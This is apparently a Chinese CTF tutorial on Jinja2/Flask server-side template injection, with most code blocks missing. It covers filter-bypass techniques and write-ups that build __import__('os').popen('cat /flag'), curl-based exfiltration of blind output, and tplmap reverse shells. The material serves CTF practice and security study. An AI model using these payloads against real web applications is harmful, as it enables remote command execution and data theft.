寻找 linecache 函数执行命令 linecache 这个函数可用于读取任意一个文件的某一行,而这个函数中也引入了 os 模块,所以我们也可以利用这个 linecache 函数去执行命令。 首先编写脚本遍历目标Python环境中含有 linecache 这个函数的子类的索引号:

随便挑一个子类构造payload即可:

image.png

寻找 subprocess.Popen 类执行命令 从python2.4版本开始,可以用 subprocess 这个模块来产生子进程,并连接到子进程的标准输入/输出/错误中去,还可以得到子进程的返回值。 subprocess 意在替代其他几个老的模块或者函数,比如:os.system、os.popen 等函数。

jinja2 Bypass姿势

关键字绕过

利用字符串拼接绕过 我们可以利用“+”进行字符串拼接,绕过关键字过滤,例如上述读取文件的 Payload,我们可以进行如下修改:

image.png

只要返回的是字典类型的或是字符串格式的,即payload中引号内的,在调用的时候都可以使用字符串拼接绕过。

利用编码绕过

我们可以利用对关键字编码的方法,绕过关键字过滤,例如用base64编码绕过(是否能用取决于这个网站是否引入base64模块):

等同于:

可以看到,在payload中,只要是字符串的,即payload中引号内的,都可以用编码绕过。同理还可以进行rot13、16进制编码等。

利用Unicode编码绕过关键字(flask适用)

我们可以利用unicode编码的方法,绕过关键字过滤,例如:

等同于:

利用Hex编码绕过关键字

和上面那个一样,只不过将Unicode编码换成了Hex编码,适用于过滤了“u”的情况。 我们可以利用hex编码的方法,绕过关键字过滤,例如:

等同于:

利用引号绕过

我们可以利用引号来绕过对关键字的过滤。例如,过滤了flag,那么我们可以用 fl""ag 或 fl''ag 的形式来绕过:

再如:

可以看到,在payload中,只要是字符串的,即payload中引号内的,都可以用引号绕过。

利用join()函数绕过

我们可以利用join()函数来绕过关键字过滤。例如,题目过滤了passwd,那么我们可以用如下方法绕过:

绕过其他字符

过滤了中括号[ ]

利用**__getitem__()**绕过 可以使用__getitem__()方法输出序列属性中的某个索引处的元素,如:

如下示例:

利用 pop() 绕过 pop()方法可以返回指定序列属性中的某个索引处的元素或指定字典属性中某个键对应的值,如下示例:

注意:最好不要用pop(),因为pop()会删除相应位置的值。 利用字典读取绕过 我们知道访问字典里的值有两种方法,一种是把相应的键放入熟悉的方括号 [] 里来访问,一种就是用点 . 来访问。所以,当方括号 [] 被过滤之后,我们还可以用点 . 的方式来访问,如下示例

等同于:

过滤了引号

利用chr()绕过 先获取chr()函数,赋值给chr,后面再拼接成一个字符串

等同于

利用request对象绕过 示例:

等同于:

如果过滤了args,可以将其中的request.args改为request.values,POST和GET两种方法传递的数据request.values都可以接收。

过滤了下划线__

利用request对象绕过

等同于:

过滤了点 .

利用 |attr() 绕过(适用于flask) 如果 . 也被过滤,且目标是JinJa2(flask)的话,可以使用原生JinJa2函数attr(),即:

示例:

等同于:

利用中括号[ ]绕过 如下示例:

等同于:

这样的话,那么 classbases 等关键字就成了字符串,就都可以用前面所讲的关键字绕过的姿势进行绕过了。

过滤了大括号 {{

我们可以用Jinja2的 {%...%} 语句装载一个循环控制语句来绕过:

也可以使用 {% if ... %}1{% endif %} 配合 os.popen 和 curl 将执行结果外带(不外带的话无回显)出来:

也可以用 {%print(......)%} 的形式来代替 {{ ,如下:

利用 |attr() 来Bypass 这里说一个新东西,就是原生JinJa2函数 attr(),这是一个 attr() 过滤器,它只查找属性,获取并返回对象的属性的值,过滤器与变量用管道符号( | )分割。如:

|attr() 配合其他姿势可同时绕过双下划线 __ 、引号、点 . 和 [ 等,下面给出示例。

同时过滤了 . 和 []

过滤了以下字符:

绕过姿势:

等同于:

同时过滤了 __ 、点. 和 []

过滤了以下字符:

下面我们演示绕过姿势,先写出payload的原型:

由于中括号 [ 被过滤了,我们可以用__getitem__() 来绕过(尽量不要用pop()),类似如下:

由于还过滤了下划线 __ ,我们可以用request对象绕过,但是还过滤了中括号 [],所以我们要同时绕过 __ 和 [,就用到了我们的|attr() 所以最终的payload如下:

用Unicode编码配合 |attr() 进行Bypass

过滤了以下字符:

我们用 {%...%}绕过对 {{ 的过滤,并用unicode绕过对关键字的过滤。unicode绕过是一种网上没提出的方法。 假设我们要构造的payload原型为:

先用 |attr 绕过 . 和 []:

我们可以将过滤掉的字符用unicode替换掉:

用Hex编码配合 |attr() 进行Bypass

和上面那个一样,只不过是将Unicode编码换成了Hex编码,适用于“u”被过滤了的情况。 我们可以将过滤掉的字符用Hex编码替换掉:

使用 JinJa 的过滤器进行Bypass

在 Flask JinJa 中,内只有很多过滤器可以使用,前文的attr()就是其中的一个过滤器。变量可以通过过滤器进行修改,过滤器与变量之间用管道符号(|)隔开,括号中可以有可选参数,也可以没有参数,过滤器函数可以带括号也可以不带括号。可以使用管道符号(|)连接多个过滤器,一个过滤器的输出应用于下一个过滤器。 详情请看官方文档:https://jinja.palletsprojects.com/en/master/templates/#builtin-filters 以下是内置的所有的过滤器列表:

abs()float()lower()round()tojson()
attr()forceescape()map()safe()trim()
batch()format()max()select()truncate()
capitalize()groupby()min()selectattr()unique()
center()indent()pprint()slice()upper()
default()int()random()sort()urlencode()
dictsort()join()reject()string()urlize()
escape()last()rejectattr()striptags()wordcount()
filesizeformat()length()replace()sum()wordwrap()
first()list()reverse()title()xmlattr()

可以自行点击每个过滤器去查看每一种过滤器的作用。我们就是利用这些过滤器,一步步的拼接出我们想要的字符、数字或字符串。 常用字符获取入口点

如下演示:

image.png

上上图所示,我们可以通过 <generator object select_or_reject at 0x7fe339298fc0> 字符串获取的字符有:尖号、字母、空格、下划线和数字。

image.png

如上图所示,可以通过 <TemplateReference None> 字符串获取的字符有:尖号、字母和空格。

image.png

如上图所示,可以获得的字符除了字母以外还有百分号,这一点比较重要,因为如果我们控制了百分号的话我们可以获取任意字符。

image.png

有了数字0之后,我们便可以依次将其余的数字全部构造出来,原理就是加减乘除、平方等数学运算。

CTF实战

[2020 DASCTF 八月安恒月赛]ezflask

题目源码:

可以看到题目过滤的死死地,最关键是把attr也给过滤了的话,这就很麻烦了,但是我们还可以用过滤器进行绕过。 在存在ssti的地方执行如下payload:

image.png

可以看到,我们得到了一段字符串:<generator object select_or_reject at 0x7f3684f2f3e0>,这段字符串中不仅存在字符,还存在空格、下划线,尖号和数字。也就是说,如果题目过滤了这些字符的话,我们便可以在 <generator object select_or_reject at 0x7f3684f2f3e0> 这个字符串中取到我们想要的字符,从而绕过过滤。 然后我们在使用list()过滤器将字符串转化为列表:

image.png

如上图所示,反回了一个列表,列表中是 <generator object select_or_reject at 0x7f3684f2f3e0> 这个字符串的每一个字符。接下来我们便可以使用使用pop()等方法将列表里的字符取出来了。如下所示,我们取一个下划线 _:

image.png

同理还能取到更多的字符:

这里,其实有了数字0之后,我们便可以依次将其余的数字全部构造出来,原理就是加减乘除、平方等数学运算,如下示例:

image.png

通过上述原理,我们可以依次获得构造payload所需的特殊字符与字符串:

将上面构造的字符或字符串拼接起来构造出__import__('os').popen('cat /flag').read()

image.png

如上图所示,成功构造出了 import('os').popen('cat /flag').read() 。 然后将上面构造的各种变量添加到SSTI万能payload里面就行了:

image.png

所以最终的payload为:

[2021 MAR & DASCTF]baby_flask

源码获取:baby_flask.zip 在 /getname?name= 处存在SSTI。

image.png

F12查看源代码发现提示过滤了一下字符:

image.png

过滤的死死地,甚至将所有的数字都过滤了。我们仍然可以使用通过滤器进行绕过,经过之前那道题的演示,我们可以很容易的构造出被过滤了的字符或字符串。 Payload构造过程如下:

最后的payload如下

image.png

[NCTF2018]flask真香

环境部署

打开题目一看,是一个炫酷的demo演示,这种demo一般是没有啥东西好挖的。首先F12信息收集,发现Python版本是3.5.2,没有Web静态服务器。

20210525174704-299b32fc-bd3e-1.png

随便点开第二个demo发现404了,这里注意到404界面是Flask提供的404界面,按照以往的经验,猜测这里存在SSTI注入。 先尝试简单的payload:

image.png

从这里可见,毫无疑问的存在SSTI漏洞了。 那么就来康康到底有没有WAF,有的话被过滤了哪些。经过一番测试,确实很多东西都被过滤了,而且是正则表达式直接匹配删去,无法嵌套绕过。不完整测试有以下:

从这里来看,似乎已经完全无法下手了。因为request和class都被过滤掉了。 卡在这里以后,最好的办法就是去查Flask官方文档了。从Flask官方文档里,找到了session对象,经过测试没有被过滤。更巧的是,session一定是一个dict对象,因此我们可以通过键的方法访问相应的类。由于键是一个字符串,因此可以通过字符串拼接绕过。

image.png

访问到了类,我们就可以通过 __bases__ 来获取基类的元组,带上索引0就可以访问到相应的基类。由此一直向上我们就可以访问到最顶层的object基类了。(同样的,如果没有过滤config的话,我们还可以利用config来逃逸,方法与session的相同)

image.png

有了对象基类,我们就可以通过访问 __subclasses__ 方法再实例化去访问所有的子类。同样使用字符串拼接绕过WAF,这样就实现沙箱逃逸了。

image.png

SSTI目的无非就是两个:文件读写、执行命令。因此我们核心应该放在file类和os类。而坑爹的是,Python3几乎换了个遍。因此这里得去看官方文档去找相应的基类的用处。 我还是从os库入手,直接搜索“os”,找到了 os._wrap_close 类,同样使用dict键访问的方法。猜大致范围得到了索引序号,我这里序号是343

image.png

image.png

我们调用它的 __init__ 函数将其实例化,然后用 __globals__ 查看其全局变量。

image.png

确认存在“popen”

image.png

成功拿到flag

image.png

[NCTF2018]Flask PLUS

环境部署

看到又是Flask,后面又加了PLUS,想必内容肯定没变,应该是过滤内容增加了。 打开题目康康,果然还是demo,随便造一个404,还是那个界面。 直接拿上一道题的payload去找所有的类,果然还是那么多。找到 os._wrap_close 类,打一发上次的payload,结果炸了:

image.png

也就是说,这里更新了过滤的内容,需要bypass。 我们来探测了一下,发现这次又加了一些过滤:

到这里,我们本地机测试一下,看看有哪些方法我们可以用的:

image.png

image.png

这里我们注意到了__enter__ 方法,查看其内容,发现其竟然有 __globals__ 方法可用,也就是说这个__enter__ 方法与__init__ 方法一模一样。

image.png

image.png

没有回显的 SSTI

当目标存在 SSTI 漏洞但是没有payload执行的回显时,我们可以使用 os.popen 和 curl 将执行结果外带出来。 在本机开启监听

然后让查询疾结果返回

image.png

读取内容

image.png

自动化攻击

这里推荐自动化工具tplmap,拿shell、执行命令、bind_shell、反弹shell、上传下载文件,Tplmap为SSTI的利用提供了很大的便利,也支持其他模板(Smarty,Mako,Tornado,Jinja2)的注入检测

然而作者并未提供对python3的支持,此处建议使用docker版本

用法

选项

通常使用--os-shell来反弹shell来控制靶机